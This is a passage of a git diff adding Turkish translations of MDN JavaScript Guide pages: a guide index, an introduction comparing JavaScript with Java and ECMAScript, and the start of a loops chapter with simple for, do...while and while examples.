href="/tr/docs/Web/JavaScript/Guide/Grammar_and_types#Veri_yapıları_ve_tipleri">Veri yapıları ve tipleri</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Grammar_and_types#Sabitler">Sabitler</a></p> + </li> + <li><span><a href="/tr/docs/Web/JavaScript/Guide/Ifadeler">Kontrol akışı ve hata yakalama</a></span> + <p><code><a href="/tr/docs/Web/JavaScript/Guide/Ifadeler#if...else_statement">if...else</a></code><br> + <code><a href="/tr/docs/Web/JavaScript/Guide/Ifadeler#switch_statement">switch</a></code><br> + <a href="/tr/docs/Web/JavaScript/Guide/Ifadeler#Exception_handling_statements"><code>try</code>/<code>catch</code>/<code>throw</code></a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Ifadeler#Utilizing_Error_objects">Hata nesneleri</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Ifadeler#Promises">Promise nesneleri</a></p> + </li> + <li><span><a href="/tr/docs/Web/JavaScript/Guide/Loops_and_iteration">Döngüler ve yinelemeler</a></span> + <p><code><a href="/tr/docs/Web/JavaScript/Guide/Loops_and_iteration#for_döngüsü">for</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Loops_and_iteration#while_döngüsü">while</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Loops_and_iteration#do...while_döngüsü">do...while</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Loops_and_iteration#break_ifadesi">break</a>/<a href="/tr/docs/Web/JavaScript/Guide/Loops_and_iteration#continue_ifadesi">continue</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Loops_and_iteration#for...in_döngüsü">for..in</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Loops_and_iteration#for...of_döngüsü">for..of</a></code></p> + </li> +</ul> + +<ul class="card-grid"> + <li><span><a href="/tr/docs/Web/JavaScript/Guide/Functions">Fonksiyonlar</a></span> + + <p><a href="/tr/docs/Web/JavaScript/Guide/Functions#Defining_functions">Fonksiyon tanımlama</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Functions#Calling_functions">Fonksiyon çağırma</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Functions#Function_scope">Fonksiyonun uzayı</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Functions#Closures">Değişken gizleme (Closures</a>)<br> + <a href="/tr/docs/Web/JavaScript/Guide/Functions#Using_the_arguments_object">Argümanlar</a> ve <a href="/tr/docs/Web/JavaScript/Guide/Functions#Function_parameters">parametreler</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Functions#Arrow_functions">Ok fonksiyonları</a></p> + </li> + <li><span><a href="/tr/docs/Web/JavaScript/Guide/Expressions_and_Operators">İfadeler ve operatörler</a></span> + <p><a href="/tr/docs/Web/JavaScript/Guide/Expressions_and_Operators#Assignment_operators">Atama</a> <a href="/tr/docs/Web/JavaScript/Guide/Expressions_and_Operators#Comparison_operators">Kıyaslama</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Expressions_and_Operators#Arithmetic_operators">Aritmetik operatörler</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Expressions_and_Operators#Bitwise_operators">Bit seviyesinde</a> ve <a href="/tr/docs/Web/JavaScript/Guide/Expressions_and_Operators#Logical_operators">mantıksal operatörler</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Expressions_and_Operators#Conditional_(ternary)_operator">Durumsal (üçlü) operatör</a></p> + </li> + <li><span><a href="/tr/docs/Web/JavaScript/Guide/Numbers_and_dates">Sayılar ve tarihler</a></span><a href="/tr/docs/Web/JavaScript/Guide/Numbers_and_dates#Numbers">Sayı sabitleri</a> + <p><a href="/tr/docs/Web/JavaScript/Guide/Numbers_and_dates#Number_object"><code>Number</code> nesnesi</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Numbers_and_dates#Math_object"><code>Math</code> nesnesi</a><br> + <a href="https://developer.mozilla.org/tr/docs/Web/JavaScript/Guide/Numbers_and_dates#Date_object"><code>Date</code> nesnesi</a></p> + </li> + <li><span><a href="/tr/docs/Web/JavaScript/Guide/Text_formatting">Metin formatlama</a></span> + <p><a href="/tr/docs/Web/JavaScript/Guide/Text_formatting#String_literals">Metin sabitleri</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Text_formatting#String_objects"><code>String</code> nesnesi</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Text_formatting#Multi-line_template_strings">Şablon metinler</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Text_formatting#Internationalization">Çoklu dil desteği verme</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Regular_Expressions">Düzenli İfadeler</a></p> + </li> +</ul> + +<ul class="card-grid"> + <li><span><a href="/tr/docs/Web/JavaScript/Guide/Indexed_collections">İndeksli koleksiyonlar</a></span> + + <p><a href="/tr/docs/Web/JavaScript/Guide/Indexed_collections#Array_object">Diziler</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Indexed_collections#Array_comprehensions">D</a>izi tipleri</p> + </li> + <li><span><a href="/tr/docs/Web/JavaScript/Guide/Keyed_collections">Anahtarlı koleksiyonlar</a></span> + <p><code><a href="/tr/docs/Web/JavaScript/Guide/Keyed_collections#Map_object">Map</a></code><br> + <code><a href="/tr/docs/Web/JavaScript/Guide/Keyed_collections#WeakMap_object">WeakMap</a></code><br> + <code><a href="/tr/docs/Web/JavaScript/Guide/Keyed_collections#Set_object">Set</a></code><br> + <code><a href="/tr/docs/Web/JavaScript/Guide/Keyed_collections#WeakSet_object">WeakSet</a></code></p> + </li> + <li><span><a href="/tr/docs/Web/JavaScript/Guide/Working_with_Objects">Nesnelerle çalışma</a></span> + <p><a href="/tr/docs/Web/JavaScript/Guide/Working_with_Objects#Objects_and_properties">Nesneler ve özellikleri</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Working_with_Objects#Creating_new_objects">Nesne oluşturma</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_methods">Metot tanımlama</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Get ve set ifadeleri</a></p> + </li> + <li><span><a href="/tr/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">Nesne modelinin detayları</a></span> + <p><a href="/tr/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-based_vs._prototype-based_languages">Prototip temelli Nesneye Dayalı Programlama </a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Creating_the_hierarchy">Nesne hiyerarşileri oluşturma</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Property_inheritance_revisited">Kalıtım</a></p> + </li> +</ul> + +<ul class="card-grid"> + <li><span><a href="/tr/docs/Web/JavaScript/Guide/Iterators_and_Generators">Yineleyiciler ve oluşturucular</a></span> + + <p><a href="/tr/docs/Web/JavaScript/Guide/Iterators_and_Generators#Iterators">Yineleyiciler</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Iterators_and_Generators#Iterables">Yinelenebilenler</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Iterators_and_Generators#Generators">Oluşturucular</a></p> + </li> + <li><span><a href="/tr/docs/Web/JavaScript/Guide/Meta_programming">Üst düzey programlama</a></span> + <p><code><a href="/tr/docs/Web/JavaScript/Guide/Meta_programming#Proxies">Proxy nesneleri</a></code><br> + <a href="/tr/docs/Web/JavaScript/Guide/Meta_programming#Handlers_and_traps">İşleyiciler ve tuzaklar</a><br> + <a href="/tr/docs/Web/JavaScript/Guide/Meta_programming#Revocable_Proxy">Değiştirilebilir Proxy'ler</a><br> + <code><a href="/tr/docs/Web/JavaScript/Guide/Meta_programming#Reflection">Reflect</a></code><a href="/tr/docs/Web/JavaScript/Guide/Meta_programming#Reflection"> nesnesi</a></p> + </li> +</ul> + +<p>{{Next("Web/JavaScript/Guide/Introduction")}}</p> diff --git a/files/tr/web/javascript/guide/introduction/index.html b/files/tr/web/javascript/guide/introduction/index.html new file mode 100644 index 0000000000..64b7180c80 --- /dev/null +++ b/files/tr/web/javascript/guide/introduction/index.html @@ -0,0 +1,134 @@ +--- +title: Introduction +slug: Web/JavaScript/Guide/Introduction +translation_of: Web/JavaScript/Guide/Introduction +--- +<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}</div> + +<p class="summary">Bu bölümde JavaScript tanıtılacak ve bazı temel kavramları üzerine yoğunlaşılacaktır.</p> + +<h2 id="Halihazırda_biliyor_olmanız_gerekenler">Halihazırda biliyor olmanız gerekenler</h2> + +<p>Bu rehber aşağıdakileri biliyor olduğunuzu varsayar:</p> + +<ul> + <li>İnternet ve World Wide Web ({{Glossary("WWW")}}) hakkındaki genel kavramlari anlayabiliyor olmak.</li> + <li>İyi derecede HyperText Markup Language ({{Glossary("HTML")}}) bilgisi.</li> + <li>Biraz programlama deneyimi kazanılmış olması. Eğer programlamaya yeni başlıyorsanız anasayfadaki JavaScript <a href="/tr/docs/Web/JavaScript#Eğitim_Setleri">eğitim setleri</a>nden birini deneyin.</li> +</ul> + +<h2 id="JavaScript_hakkında_nereden_bilgi_edinirim">JavaScript hakkında nereden bilgi edinirim</h2> + +<p>MDN'deki JavaScript dökümantasyonu şunları içerir:</p> + +<ul> + <li><a href="/en-US/Learn">Web'i öğrenmek</a>: yeni başlayanlar için bilgi verir ve programlama ve internetin basit kavramlarını tanıtır.</li> + <li><a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Rehberi</a>: (bu rehber) JavaScript dilini ve nesnelerini genel olarak tanıtır.</li> + <li><a href="/en-US/docs/Web/JavaScript/Reference">JavaScript Referansı</a>: JavaScript için detaylı başvuru kaynaklarını içerir.</li> +</ul> + +<p>JavaScript'te yeniyseniz, <a href="/en-US/Learn">öğrenme alanı</a> ve <a href="/en-US/docs/Web/JavaScript/Guide"><u><font color="#0066cc">JavaScript Rehberi</font></u></a> ile başlayınız. JavaScript temellerini sağlam olarak kavradığınızda, nesneler ve ifadeler ile ilgili detaylı bilgiler için özelleşmiş olan <a href="/en-US/docs/Web/JavaScript/Reference">JavaScript Referansı</a>'nı kullanabilirsiniz.</p> + +<h2 id="JavaScript_nedir">JavaScript nedir?</h2> + +<p>JavaScript, çok platformlu ve nesne yönelimli bir script dilidir. Küçük ve hafif bir dildir. Bir ana bilgisayar ortamında (örneğin, bir web tarayıcısında) JavaScript, programatik olarak kontrol sağlamak için kendi ortamındaki nesnelerine bağlanabilir.</p> + +<p>Javascript, <code>Array</code>, <code>Date</code>, and <code>Math </code>gibi nesneleri içeren standart nesne kütüphanesini ve <code>operatörler, kontrol yapıları </code>ve<code> ifadeler</code> gibi temel dil setlerini içerir. JavaScript çekirdeği, ilave nesneler ile birlikte çeşitli amaçlar için genişletilebilir.Örneğin:</p> + +<ul> + <li><em>İstemci-taraflı JavaScript,</em> yeni nesneler üretmek amacıyla çekirdek dili genişleterek tarayıcının ve kendi sahip olduğu Doküman Nesne Modeli'nin (DOM) kontrol edilebilmesini sağlar. Örnek olarak istemci-taraflı uzantılar, bir uygulamanın HTML formuna yeni öğeler ekleyebilmesine ve fare tıklamaları, form girdileri, ve sayfa dolaşımı gibi kullanıcı olaylarını yanıtlayabilmesine olanak sağlar.</li> + <li><em>Sunucu-taraflı JavaScript, </em>bir sunucu üzerinde çalışmakta olan JavaScript'e yönelik yeni nesneler üretmek suretiyle çekirdek dili genişletir. Örnek olarak, sunucu-taraflı uzantılar, bir uygulamanın veri tabanı ile iletişim kurmasına, bir işlemden başka bir işleme bilgi aktararak uygulamanın devamlılığını sağlamasına, veya sunucudaki dosya üzerinde değişiklikler yapmasına olanak sağlar.</li> +</ul> + +<h2 id="JavaScript_and_Java" name="JavaScript_and_Java">JavaScript ve Java</h2> + +<p>JavaScript ve Java bazı yönleriyle benzer olmakla birlikte temelde farklıdırlar. JavaScript dili, Java'ya benzer fakat JavaScript'te, sabit Java tipleri ve Java'daki güçlü tip denetimi yoktur. JavaScript'in Java ile benzerlik göstermesi nedeniyle, isminin LiveScript'ten JavaScript'te değiştirilmesine neden olan Java'daki çoğu söz dizim ifadesini, isimlendirme düzenini ve basit kontrol akışını yapılarını destekler.</p> + +<p>Java'nın tanımlanarak oluşturulmuş sınıfları derle-çalıştır sisteminin aksine; Javascript, veri tiplerinin ufak bir kısmı olan sayısal, boolean ve string veri tiplerini destekleyen çalışma sistemine sahiptir. <span id="result_box" lang="tr"><span class="hps">JavaScript'te, diğer dillerde yaygın olarak kullanılan</span> <span class="hps">sınıf</span> <span class="hps">temelli </span></span><span lang="tr"><span class="hps">nesne modeli</span> <span class="hps">yerine </span>prototip <span class="hps">temelli</span> <span class="hps">nesne</span> <span class="hps">modeli vardır. Prototip-temelli model, dinamik olarak miras almayı destekler. Böylelikle miras olarak alınan verinin, nesneler tarafından çoklanarak değiştirilebilmesini sağlanır. Ayrıca JavaScript, herhangi bir özel tanımlamaya gerek kalmadan fonksiyonları da destekler. Fonskiyonlar, esnek biçimlerde çalıştırılabilen metodlar halinde bir nesnenin özellikleri olabilirler.</span></span></p> + +<p>JavaScript, Java'ya göre oldukça serbest biçimli bir dildir. Tüm değişkenleri, sınıfları ve metodları baştan tanımlamanıza gerek yoktur. Metodların public, private, veya protected olup olmadığı ile ilgili kaygılanmanıza gerek yoktur ve arayüzleri tanımlamanıza gerek yoktur. Değişkenler, parametreler ve fonksiyon dönüş türleri üstü kapalı türler değildir. (Tipine derleyici karar verir.)</p> + +<p>Java, tip güvenliği ve hızlı çalıştırma için tanımlanmış bir sınıf-tabanlı programlama dilidir. Tip güvenliği, örneğin bir Java tamsayısını bir nesne referansına çeviremeyeceğiniz ya da gizli belleğe Java bytecodlarını bozarak ulaşamayacağınız anlamına gelir. Java'nın sınıf tabanlı modeli, programların sadece sınıflardan ve onların metodlarından oluştuğu anlamına gelir. Java'nın sınıf kalıtımı ve sıkı yazılışı, genellikle sıkıca bağlanmış nesne hiyerarşileri gerektirir. Bu gereksinimler, Java programlamayı JavaScript programlamadan daha kompleks yapar.</p> + +<p>Javascript'in küçük yapısının aksine temelleri HyperTalk ve dBASE gibi dinamik tipli dillere dayanır.Bu betik dilleri; kolay söz dizimi, özelleştirilmiş tümleşik yapısı ve nesne oluşturma için minimum gereksinimlere ihtiyaç duyması sayesinde diğer dillere göre daha geniş programcı kitlesine hitap eder.</p> + +<table class="standard-table"> + <caption>JavaScript ile Java dillerinin farkları</caption> + <thead> + <tr> + <th scope="col">JavaScript</th> + <th scope="col">Java</th> + </tr> + </thead> + <tbody> + <tr> + <td>Nesne temellidir. Nesnelerin türleri arasında bir ayrım söz konusu değildir. Prototype mekanizması ile oluşturulan kalıtım sayesinde, değişkenler ve metodlar herhangi bir objeye dinamik olarak eklenebilir.</td> + <td>Nesne temellidir. Nesneler, sınıflar halinde birbirlerinden ayrılmışlardır ve örnekleri arasında oluşturulan kalıtım sınıf hiyerarşisi ile sağlanır. Sınıflar ve oluşturulan nesnelere dinamik olarak değişken ve metot eklemesi yapılamaz.</td> + </tr> + <tr> + <td>Değişkenlerin veri türlerinin tanımlanmasına gerek yoktur. İlk atama yapıldığında bir veri türüne sahip olurlar (dinamik tipleme). Örn: var degiskenAdi;</td> + <td>Değişkenlerin veri türleri tanımlanmak zorundadır (statik tipleme). Örn: String degiskenAdi.</td> + </tr> + <tr> + <td>Otomatik olarak sabit diske yazılamazlar.</td> + <td>Otomatik olarak sabit diske yazılabilirler.</td> + </tr> + </tbody> +</table> + +<p>Javascript ve Java ile ilgili farklılıklar hakkında daha fazla bilgi edinmek için, <a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">Details of the object model</a> bölümüne göz atabilirsiniz.</p> + +<h2 id="JavaScript_and_the_ECMAScript_Specification" name="JavaScript_and_the_ECMAScript_Specification">JavaScript ve ECMAScript beyannamesi</h2> + +<p>JavaScript standardı, <a class="external" href="http://www.ecma-international.org/">Ecma International</a> tarafından belirlenir. Ecma International, JavaScript temelli standartlaştırılmış uluslararası bir programlama dili (ECMAScript) sunmak için, bilgi ve iletişim sistemlerinin standartlaştırılmasını sağlayan bir Avrupa derneğidir (ECMA'nın eski açınımı: European Computer Manufacturers Association (Avrupa Bilgisayar Üreticileri Derneği)). Standartlaştırılmış JavaScript versiyonu olan ECMAScript, standardı destekleyen tüm uygulamalarda aynı şekilde çalışır. Firmalar, açık standart dili kullanarak kendi Javascript dillerini oluşturabilirler. ECMAScript standardı ECMA-262 beyannamesi altında belgelendirilmiştir. JavaScript ve ECMAScript beyannameleri hakkında detaylı bilgi edinmek için <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript">New in JavaScript</a> bölümüne bakabilirsiniz.</p> + +<p>ECMA-262 standardı ayrıca ISO tarafından ISO-16262 olarak onaylanmıştır. Beyannameyi <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">Ecma International'ın web sitesinde</a> de bulabilirsiniz. ECMAScript beyannamesi, DOM (Doküman Nesnesi Modeli) hakkında bir tanımlama sunmaz. Zira DOM, <a href="http://www.w3.org/">World Wide Web Consortium (W3C)</a> ve <a href="https://whatwg.org/">WHATWG (Web Hypertext Application Technology Working Group)</a> tarafından standartlaştırılmıştır. DOM, HTML dokümanındaki nesnelerin, JavaScript betiğinize aktarılması için bir yol sunar. JavaScript ile programlamada kullanılan farklı teknolojiler hakkında bilgi edinmek için <a href="/en-US/docs/Web/JavaScript/JavaScript_technologies_overview">JavaScript technologies overview</a> bölümüne bakabilirsiniz.</p> + +<h3 id="JavaScript_Documentation_versus_the_ECMAScript_Specification" name="JavaScript_Documentation_versus_the_ECMAScript_Specification">JavaScript dokümantasyonu ve ECMAScript beyannamesi farkları</h3> + +<p>ECMAScript beyannamesi, ECMAScript dilinin gerçekleştirilmesi için gereksinimleri belirler. Kendi ECMAScript gerçekleştiriminizi veya Firefox'taki SpiderMonkey gibi standartlara uyan bir ECMAScript motoru oluşturmanız için kullanışlıdır.</p> + +<p>ECMAScript dokümanı, programcıların betik yazması için düzenlenmemiştir; betik yazmak hakkında bilgi edinmek için için JavaScript dokümantasyonunu kullanabilirsiniz.</p> + +<p>ECMAScript beyannamesinin kullandığı terminoloji ve söz dizimine bir JavaScript programcısı alışkın olmayabilir. Dilin açıklaması ECMAScript'ten farklılık göstermesine rağmen, dilin kendisi aynı kalmıştır. Yani JavaScript, ECMAScript beyannamesinde belirlenen bütün fonksiyonelliği kapsar.</p> + +<p>JavaScript dokümantasyonu, JavaScript programcısının aşina olduğu şekilde dilin özelliklerini ele alır.</p> + +<h2 id="JavaScript_ile_başlangıç">JavaScript ile başlangıç</h2> + +<p>JavaScript'e başlamak kolaydır: tüm ihtiyacınız modern bir web tarayıcısı. Bu rehber, sadece Firefox'un son sürümlerinin desteklediği bazı JavaScript özelliklerini içerir, bu yüzden Firefox'un son sürümlerini kullanmak önerilir.</p> + +<p>Firefox'ta çalıştırabileceğiniz iki tane kullanışlı JS aracı vardır: Web konsol ve Scratchpad.</p> + +<h3 id="Web_Konsolu">Web Konsolu</h3> + +<p><a href="/en-US/docs/Tools/Web_Console">Web Konsolu</a> yüklü olan sayfanın yapısal içeriğini gösterir ve ayrıca o anda JavaScript kodlarınızı çalıştırabileceğiniz bir <a href="/en-US/docs/Tools/Web_Console#The_command_line_interpreter">komut satırı</a> da içerir.</p> + +<p>Web konsolunu açmak için (Ctrl+Shift+K) komutunu kullanabilir veya "Geliştirici" menüsünden "Tarayıcı Konsolu"'nu seçebilirsiniz. Geliştirici menüsü Firefox'unuzda sağ üst bölümde bulunan "Araçlar" kısmındadır. Tarayıcı konsolu penceresi sayfanın üstüne açılır. Konsolun en alt kısmında aşağıdaki şekilde JavaScript kodunu gireceğiniz ve çıktısını alabileceğiniz bir komut satırı bulunmaktadır:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/7363/web-console-commandline.png" style="display: block; margin-left: auto; margin-right: auto;"></p> + +<h3 id="Karalama_defteri">Karalama defteri</h3> + +<p>Web konsolu tek satırlı JavaScript kodunuzu çalıştırmak için iyi bir araçtır. Çok satırlı JavaScript kodları çalıştırmak istediginizde ise web konsolu'nun bunu yapma yetisi olsa da kullanışlı değildir ve yazdığınız kod örneklerini kaydedemez. Bu yüzden daha kompleks kod örnekleri için <a href="/en-US/docs/Tools/Scratchpad">Karalama defteri</a> daha iyi bir araçtır.</p> + +<p>Karalama defterini açmak için (Shift+F4) komutunu kullanabilir veya "Web geliştirici" menüsünden "Karalama defteri"'ni seçebilirsiniz. JavaScript kodu yazıp çalıştırabileceğiniz, farklı bir editör penceresi açılır. Ayrıca komutlarınızı diskinizde saklayabilir ve diskinizden yükleyebilirsiniz.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/7365/scratchpad.png" style="display: block; margin-left: auto; margin-right: auto;"></p> + +<h3 id="Merhaba_Dünya">Merhaba Dünya</h3> + +<p>JS'e başlamak için, Karalama defteri'ni açın ve ilk kodunuz olan "Merhaba Dünya" yazın:</p> + +<pre class="brush: js">function selamVer(adiniz) { + alert("Merhaba" + adiniz); +} + +selamVer("Dünya"); +</pre> + +<p>Yukarıda gösterildiği gibi yazdığınız kodu Karalama defteri penceresinden seçin ve çalıştırmak için Ctrl+R komutunu kullanın ve izleyin.</p> + +<p>İlerleyen sayfalar, daha kompleks uygulamar yazabileceğiniz JS syntaxlarını ve dil özelliklerini içerir.</p> + +<p>{{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}</p> diff --git a/files/tr/web/javascript/guide/loops_and_iteration/index.html b/files/tr/web/javascript/guide/loops_and_iteration/index.html new file mode 100644 index 0000000000..8b224ab288 --- /dev/null +++ b/files/tr/web/javascript/guide/loops_and_iteration/index.html @@ -0,0 +1,331 @@ +--- +title: Döngüler ve yinelemeler +slug: Web/JavaScript/Guide/Loops_and_iteration +translation_of: Web/JavaScript/Guide/Loops_and_iteration +--- +<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Ifadeler", "Web/JavaScript/Guide/Functions")}}</div> + +<p class="summary">Döngüler, bir işlemin art arda yapılması için hızlı ve kolay bir yöntem sunarlar. <a href="/tr/docs/Web/JavaScript/Guide">JavaScript Rehberi</a>'nin bu bölümünde, JavaScript içerisinde yer alan çeşitli yineleme ifadeleri anlatılacaktır.</p> + +<p>Döngüleri şu şekildeki basit bir bilgisayar oyunu olarak düşünebilirsiniz: Doğu yönünde 5 adım ilerle ve devamında batı yönünde 3 adım ilerleyerek hazineyi bul. Bu fikri basitçe kodlamak gerekirse:</p> + +<pre class="brush: js notranslate">var adım; +for (adım = 0; adım < 5; adım++) { + // 5 defa ekrana yazıyor + // adım 0'dan 4'e kadar değerler alıyor. + console.log('Doğu yönünde bir adım atılıyor.'); +} +</pre> + +<p>Birçok döngü türü vardır, fakat özünde hepsi aynı şeyi yaparlar: ardı ardına belirlenen bir işlemi gerçekleştirirler. Genelde gerçekleştirilen işlem adımı 0'dan başlar. Döngünün bitiş ve başlangıç noktalarının belirlenmesi için çeşitli döngü mekanizmaları mevcuttur. Bir döngünün diğer döngülere göre daha avantajlı olmasını sağlayan farklı durumlar vardır.</p> + +<p>JavaScript'teki döngü ifadeleri aşağıdaki şekilde listelenmiştir:</p> + +<ul> + <li>{{anch("for döngüsü")}}</li> + <li>{{anch("do...while döngüsü")}}</li> + <li>{{anch("while döngüsü")}}</li> + <li>{{anch("Etiketlenmiş ifadeler")}}</li> + <li>{{anch("break ifadesi")}}</li> + <li>{{anch("continue ifadesi")}}</li> + <li>{{anch("for...in ifadesi")}}</li> + <li>{{anch("for...of ifadesi")}}</li> +</ul> + +<h2 id="for_döngüsü"><code>for</code> döngüsü</h2> + +<p>Bir {{jsxref("statements/for","for")}} döngüsü, belirlenen koşul sağlandığı sürece içerdiği komutların çalıştırılmasını sağlar. JavaScript'teki <code>for</code> döngüsü, Java ve C dilindeki <code>for</code> döngüsü ile benzerdir. For döngüsünün söz dizimi aşağıdaki şekildedir:</p> + +<pre class="syntaxbox notranslate">for ([başlangıçAtaması]; [koşulİfadesi]; [arttırımİfadesi]) + ifade +</pre> + +<p>Bir <code>for</code> döngüsündeki algoritmanın adımları aşağıdaki şekildedir:</p> + +<ol> + <li>Bir <code>başlangıçAtaması</code> ifadesi varsa çalıştırılır. Bu ifadede genellikle bir veya daha fazla döngü sayıcısına atama işlemi yapılır. Ayrıca değişken tanımı da yapılabilir.</li> + <li><code>koşulİfadesi</code> çalıştırılır. Eğer <code>koşulİfadesi</code> değeri <code>true</code> ise, <code>ifade</code> çalıştırılabilir. Eğer <code>koşulİfadesi</code> değeri <code>false</code> ise, <code>for</code> döngüsünden çıkılır. Eğer <code>koşulİfadesi</code> boş geçilirse, değeri her zaman true olarak varsayılır ve sonsuz döngü oluşturulmuş olur.</li> + <li><code>ifade</code> çalıştırılır. Birden fazla ifade çalıştırılacaksa, ifadeleri gruplamak için blok ifadesi (<code>{ ... }</code>) kullanılır.</li> + <li><code>arttırımİfadesi</code> varsa çalıştırılır ve 2 numaralı adıma geri dönülür.</li> +</ol> + +<h3 id="Örnek"><strong>Örnek</strong></h3> + +<p>Aşağıdaki fonksiyon, scroll'lanabilen bir listedeki seçilen değerlerin sayısını sayan bir <code>for</code> ifadesi içerir (buradaki liste, çoklu seçimler yapabilmeye izin veren bir {{HTMLElement("select")}} elemanıdır) . <code>for</code> ifadesinde <code>i</code> değişkeni tanımlanır ve sıfır değeri atanır. <code>i</code>'nin değerinin, <code><select></code> elemanındaki {{HTMLElement("option")}} elemanlarının sayısından daha az olup olmadığı kontrol edilir, <code>if</code> ifadesini çalıştırılır, ve döngü her tamamlandığında <code>i</code> değişkeni bir arttırılır.</p> + +<pre class="brush: html notranslate"><form name="selectForm"> + <p> + <label for="müzikTürleri">Sevdiğiniz müzik türlerini seçip aşağıdaki butona basınız:</label> + <select id="müzikTürleri" name="müzikTürleri" multiple="multiple"> + <option selected="selected">Pop</option> + <option>Rap</option> + <option>Rock</option> + <option>Arabesk</option> + <option>Türk Sanat Müziği</option> + <option>Klasik Müzik</option> + </select> + </p> + <p><input id="btn" type="button" value="Kaç tanesi seçildi?" /></p> +</form> + +<script> +function kaçTane(müzikTürleri) { + var seçilenMüzikSayısı = 0; + for (var i = 0; i < müzikTürleri.options.length; i++) { + if (müzikTürleri.options[i].selected) { + seçilenMüzikSayısı++; + } + } + return seçilenMüzikSayısı; +} + +var btn = document.getElementById("btn"); +btn.addEventListener("click", function(){ + alert('Seçilen müzik türü sayısı: ' + kaçTane(document.selectForm.müzikTürleri)) +}); +</script> + +</pre> + +<h2 id="do...while_döngüsü"><code>do...while</code> döngüsü</h2> + +<p>{{jsxref("statements/do...while", "do...while")}} döngüsü, belirlenen bir koşul sağlandığı sürece döngünün çalıştırılmasına olanak tanır. Bir <code>do...while</code> döngüsü aşağıdaki gibidir:</p> + +<pre class="syntaxbox notranslate">do + ifade +while (koşul); +</pre> + +<p><code>koşul</code> kontrol edilmeden hemen önce <code>ifade</code> çalıştırılır. Çoklu ifadelerin çalıştırılması için, blok ifadesi (<code>{...}</code>) kullanılarak ifadeler gruplandırılır. Eğer <code>koşul</code> sağlanırsa, <code>ifade</code> tekrar çalıştırılır. Çalıştırıldıktan sonra, <code>koşul</code> tekrar kontrol edilir. Eğer <code>koşul</code> sağlanmazsa, ifadenin çalıştırılması durdurulur ve <code>do...while</code> döngüsünden sonraki komutlar çalıştırılır. <code>koşul</code> kontrol edilmeden hemen önce <code>ifade</code> çalıştırıldığı için, <code>koşul</code> değeri <code>false</code> olsa bile blok satırınız içerisindeki kodlar 1 defa çalıştırılır.</p> + +<h3 id="Örnek_1"><strong>Örnek 1</strong></h3> + +<p>Aşağıdaki örnekte, <code>do</code> döngüsü en az bir kere çalıştırılır, ve i değişkeninin değeri 5'ten küçük olduğu sürece çalıştırma devam eder:</p> + +<pre class="brush: js notranslate">var i = 0; +do { + i += 1; + console.log(i); +} while (i < 5); +</pre> + +<h2 id="while_döngüsü"><code>while</code> döngüsü</h2> + +<p>Bir {{jsxref("statements/while","while")}} döngüsü, belirlenen koşul sağlandığı sürece çalıştırılmaya devam eder. Örnek bir <code>while</code> döngüsü aşağıdaki gibidir:</p> + +<pre class="syntaxbox notranslate">while (koşul) + ifade +</pre> + +<p>Döngü içerisindeki <code>ifade</code> çalıştırılmadan önce <code>koşul</code> kontrol edilir. Eğer koşul sağlanırsa, <code>ifade</code> çalıştırılır ve koşul tekrar kontrol edilir. Eğer <code>koşul</code> sağlanmazsa, döngü içerisindeki ifadenin çalıştırılması durdurulur ve while döngüsünden çıkılarak sonraki komutlar çalıştırılır.</p> + +<p>Çoklu ifadelerin çalıştırılması için, blok ifadesi (<code>{...}</code>) kullanılarak ifadeler gruplanır.</p> + +<h3 id="Örnek_1_2"><strong>Örnek 1</strong></h3> + +<p>Aşağıdaki <code>while</code> döngüsü, <code>n</code> değişkeni 3'ten küçük olduğu sürece çalıştırılır:</p> + +<pre class="brush: js notranslate">var n = 0; +var x = 0; +while (n < 3) { + n++; + x += n; +} +</pre> + +<p>Her döngüde, <code>n</code> değişkeninin değeri 1 arttırılır ve <code>x</code>'e eklenir. Bunun sonucunda <code>x</code> ve <code>n</code> değişkenleri aşağıdaki değerleri alırlar:</p> + +<ul> + <li>İlk kez döngü çalıştırılıp tamamlandığında: <code>n</code> = 1 ve <code>x</code> = 1</li> + <li>2. kez tamamlandığında: <code>n</code> = 2 ve <code>x</code> = 3</li> + <li>3. kez tamamlandığında: <code>n</code> = 3 ve <code>x</code> = 6</li> +</ul> + +<p>3. kez döngü çalıştırılıp tamamlandığında, <code>n < 3</code> koşulu artık true değerini almaz ve döngüden 